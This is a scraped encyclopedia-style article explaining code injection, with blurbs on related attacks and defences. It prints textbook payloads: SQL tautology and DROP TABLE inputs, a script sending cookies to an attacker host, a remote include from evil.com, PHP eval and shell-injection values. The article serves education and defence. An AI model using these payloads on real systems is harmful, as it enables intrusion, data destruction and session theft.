This article appears to contain a large number of buzzwords .(September 2024) |
Code injection is a class of computer security exploits in which a vulnerable computer program is tricked into misinterpreting external data as part of its code. An attacker thereby "injects" code into the program and changes the course of its execution. The result of successful code injection can be disastrous, for example, by allowing computer viruses or computer worms to propagate.
Code injection vulnerabilities occur when an application sends untrusted data to an interpreter. Injection flaws are most often found in SQL, LDAP, XPath, NoSQL queries, OS commands, XML parsers, SMTP headers, program arguments, etc. Injection flaws tend to be easier to discover when examining source code than via testing. [1] Scanners and fuzzers can help find injection flaws. [2]
Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.
Certain types of code injection are errors in interpretation, giving special meaning to user input. Similar interpretation errors exist outside the world of computer science such as the comedy routine "Who's on First?". In some types of code injection, there is a failure to distinguish user input from system commands.
Code injection techniques are popular in system hacking or cracking to gain information, privilege escalation or unauthorized access to a system. Code injection can be used malevolently for many purposes, including:
Code injection attacks in Internet of Things could also lead to severe consequences like data breaches and service disruption. [3]
In 2008, 5.66% of all vulnerabilities reported that year were classified as code injection, the highest year on record. In 2015, this had decreased to 0.77%. [4]
Code injection may be done with good intentions; for example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without any malicious intent. [5] [6] Code injection could, for example:
Some users may unsuspectingly perform code injection because the input they provided to a program was not considered by those who originally developed the system. For example:
Another benign use of code injection would be the discovery of injection flaws themselves, with the intention of fixing these flaws. This is known as a white hat penetration test.
To prevent code injection problems, utilize secure input and output handling, such as:
htmlspecialchars()
function to escape special characters for safe output of text in HTML, and mysqli::real_escape_string()
to isolate data which will be included in an SQL request, to protect against SQL Injection.HttpOnly
flag for HTTP Cookies. When set, this flag does not allow client-side script interaction with cookies, thereby preventing certain XSS attacks. [10] The solutions listed above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injection of user code on the user machine, resulting in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:
An SQL injection takes advantage of SQL syntax to inject malicious commands that can read or modify a database, or compromise the meaning of the original query. [13]
For example, consider a web page that has two fields to allow users to enter a username and a password. The code behind the page will generate an SQL query to check the password against the list of user names:
SELECTUserList.UsernameFROMUserListWHEREUserList.Username='Username'ANDUserList.Password='Password'
If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (password' OR '1'='1
) in the Password field, then the resulting query will look like this:
SELECTUserList.UsernameFROMUserListWHEREUserList.Username='Username'ANDUserList.Password='Password'OR'1'='1'
In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'
" will always be true and many rows will be returned, thereby allowing access.
The technique may be refined to allow multiple statements to run, or even to load up and run external programs.
Assume a query with the following format:
SELECTUser.UserIDFROMUserWHEREUser.UserID=' " + UserID + " 'ANDUser.Pwd=' " + Password + " '
If an adversary has the following for inputs:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
the query will be parsed as:
SELECTUser.UserIDFROMUserWHEREUser.UserID='';DROPTABLEUser;--'AND Pwd = ''OR"='
The result is that the table User
will be removed from the database. This occurs because the ;
symbol signifies the end of one command and the start of a new one. --
signifies the start of a comment.
Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script, which accepts small messages from users, and typically receives messages such as:
Very nice site!
However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal="+escape(document.cookie)</script>
If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.
HTML and script injection is a popular subject, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.
Many of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data. [14]
Template engines are often used in modern Web application to display dynamic data. However, trusting non validated user data can frequently lead to critical vulnerabilities [15] such as Server Side Template Injections. While this vulnerability is similar to Cross-site scripting, template injection can be leverage to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications which often use user inputs and templates to render a web page. The example below shows the concept. Here the template {{visitor_name}}
is replaced with data during the rendering process.
Hello {{visitor_name}}
An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious visitor_name
. Depending on the implementation of the web application, he could choose to inject {{7*'7'}}
which the renderer could resolve to Hello 7777777
. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to Remote code execution.
An eval()
injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval()
function call. [16]
$myvar='somevalue';$x=$_GET['arg'];eval('$myvar = '.$x.';');
The argument of " eval
" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10;system('/bin/echo uh-oh')
", additional code is run which executes a program on the server, in this case "/bin/echo
".
PHP allows serialization and deserialization of whole objects. If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks. [17] Such an attack on Joomla was found in 2013. [18]
Consider this PHP program (which includes a file specified by request):
<?php$color='blue';if(isset($_GET['color']))$color=$_GET['color'];require($color.'.php');
The example might be read as only color-files like blue.php
and red.php
could be loaded, while attackers might provide COLOR=http://evil.com/exploit
causing PHP to load the external file.
Format string bugs most commonly appear when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly write printf(buffer)
instead of printf("%s", buffer)
. The first version interprets buffer
as a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char array password
which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.
charuser_input[100];intint_in;charpassword[10]="Password1";printf("Enter an integer\n");scanf("%d",&int_in);printf("Please enter a string\n");fgets(user_input,sizeof(user_input),stdin);printf(user_input);// Safe version is: printf("%s", user_input); printf("\n");return0;
If the user input is filled with a list of format specifiers such as %s%s%s%s%s%s%s%s
, then printf()
will start reading from the stack. Eventually, one of the %s
format specifier will access the address of password
, which is on the stack, and print Password1
to the screen.
Shell injection (or command injection [19] ) is named after Unix shells, but applies to most systems which allow software to programmatically execute a command line. Here is an example vulnerable tcsh script:
#!/bin/tcsh# check arg outputs it matches if arg is one if($1== 1)echo it matches
If the above is stored in the executable file ./check
, the shell command ./check " 1 ) evil"
will attempt to execute the injected shell command evil
instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter in order to defend against an attack. [20]
Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are system()
, StartProcess()
, and System.Diagnostics.Process.Start()
.
Client–server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called funnytext
to replace a word the user sent with some other word.
<?phppassthru("/bin/funnytext ".$_GET['USER_INPUT']);
The passthru
in the above composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive): [21]
Shell feature | USER_INPUT value | Resulting shell command | Explanation |
---|---|---|---|
Sequential execution | ; malicious_command | /bin/funnytext ; malicious_command | Executes funnytext , then executes close_command . |
Pipelines | | malicious_command | /bin/funnytext | malicious_command | Sends the output of funnytext as input to malicious_command . |
Command substitution | `malicious_command` | /bin/funnytext `malicious_command` | Sends the output of malicious_command as arguments to funnytext . |
Command substitution | $(malicious_command) | /bin/funnytext $(malicious_command) | Sends the output of malicious_command as arguments to funnytext . |
AND list | && malicious_command | /bin/funnytext && malicious_command | Executes malicious_command iff funnytext returns an exit status of 0 (success). |
OR list | || malicious_command | /bin/funnytext || malicious_command | Executes malicious_command iff funnytext returns a nonzero exit status (error). |
Output redirection | > ~/.bashrc | /bin/funnytext > ~/.bashrc | Overwrites the contents the .bashrc file with the output of funnytext . |
Input redirection | < ~/.bashrc | /bin/funnytext < ~/.bashrc | Sends the contents of the .bashrc file as input to funnytext . |
Some languages offer functions to properly escape or quote strings that are used to construct shell commands:
escapeshellarg()
and escapeshellcmd()
shlex.quote()
However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.
A safer alternative is to use APIs that execute external programs directly, rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells, and/or to be more cumbersome/verbose compared to concise shell-syntax.
In computing, Common Gateway Interface (CGI) is an interface specification that enables web servers to execute an external program to process HTTP or HTTPS user requests.
Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.
In computing, a polyglot is a computer program or script written in a valid form of multiple programming languages or file formats. The name was coined by analogy to multilingualism. A polyglot file is composed by combining syntax from two or more different formats.
In computing, SQL injection is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
Uncontrolled format string is a type of code injection vulnerability discovered around 1989 that can be used in security exploits. Originally thought harmless, format string exploits can be used to crash a program or to execute harmful code. The problem stems from the use of unchecked user input as the format string parameter in certain C functions that perform formatting, such as printf
. A malicious user may use the %s
and %x
format tokens, among others, to print data from the call stack or possibly other locations in memory. One may also write arbitrary data to arbitrary locations using the %n
format token, which commands printf
and similar functions to write the number of bytes formatted to an address stored on the stack.
Oracle APEX is an enterprise low-code application development platform from Oracle Corporation. APEX is used for developing and deploying cloud, mobile and desktop applications. The platform is a web-based integrated development environment (IDE) with a range of features including wizards, drag-and-drop layout and property editors to simplify the process of building applications and pages.
In a semantic URL attack, a client manually adjusts the parameters of its request by maintaining the URL's syntax but altering its semantic meaning. This attack is primarily used against CGI driven websites.
A webform, web form or HTML form on a web page allows a user to enter data that is sent to a server for processing. Forms can resemble paper or database forms because web users fill out the forms using checkboxes, radio buttons, or text fields. For example, forms can be used to enter shipping or credit card data to order a product, or can be used to retrieve search results from a search engine.
Session poisoning is a method to exploit insufficient input validation within a server application. Typically a server application that is vulnerable to this type of exploit will copy user input into session variables.
Taint checking is a feature in some computer programming languages, such as Perl, Ruby or Ballerina designed to increase security by preventing malicious users from executing commands on a host computer. Taint checks highlight specific security risks primarily associated with web sites which are attacked using techniques such as SQL injection or buffer overflow attack approaches.
A software code audit is a comprehensive analysis of source code in a programming project with the intent of discovering bugs, security breaches or violations of programming conventions. It is an integral part of the defensive programming paradigm, which attempts to reduce errors before the software is released.
A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application. An attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement.
Magic quotes was a feature of the PHP scripting language, wherein strings are automatically escaped—special characters are prefixed with a backslash—before being passed on. It was introduced to help newcomers write functioning SQL commands without requiring manual escaping. It was later described as intended to prevent inexperienced developers from writing code that was vulnerable to SQL injection attacks.
Secure coding is the practice of developing computer software in such a way that guards against the accidental introduction of security vulnerabilities. Defects, bugs and logic flaws are consistently the primary cause of commonly exploited software vulnerabilities. Through the analysis of thousands of reported vulnerabilities, security professionals have discovered that most vulnerabilities stem from a relatively small number of common software programming errors. By identifying the insecure coding practices that lead to these errors and educating developers on secure alternatives, organizations can take proactive steps to help significantly reduce or eliminate vulnerabilities in software before deployment.
JSONP, or JSON-P, is a historical JavaScript technique for requesting data by loading a <script>
element, which is an element intended to load ordinary JavaScript. It was proposed by Bob Ippolito in 2005. JSONP enables sharing of data bypassing same-origin policy, which disallows running JavaScript code to read media DOM elements or XMLHttpRequest data fetched from outside the page's originating site. The originating site is indicated by a combination of URI scheme, hostname, and port number.
The MySQLi Extension is a relational database driver used in the PHP scripting language to provide an interface with MySQL protocol compatible databases.
Cross-site request forgery, also known as one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website or web application where unauthorized commands are submitted from a user that the web application trusts. There are many ways in which a malicious website can transmit such commands; specially-crafted image tags, hidden forms, and JavaScript fetch or XMLHttpRequests, for example, can all work without the user's interaction or even knowledge. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser. In a CSRF attack, an innocent end user is tricked by an attacker into submitting a web request that they did not intend. This may cause actions to be performed on the website that can include inadvertent client or server data leakage, change of session state, or manipulation of an end user's account.
In database management systems (DBMS), a prepared statement, parameterized statement, or parameterized query is a feature where the database pre-compiles SQL code and stores the results, separating it from data. Benefits of prepared statements are:
In computer security, LDAP injection is a code injection technique used to exploit web applications which could reveal sensitive user information or modify information represented in the LDAP data stores. LDAP injection exploits a security vulnerability in an application by manipulating input parameters passed to internal search, add or modify functions. When an application fails to properly sanitize user input, it is possible for an attacker to modify an LDAP statement.
A web shell is a shell-like interface that enables a web server to be remotely accessed, often for the purposes of cyberattacks. A web shell is unique in that a web browser is used to interact with it.
Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.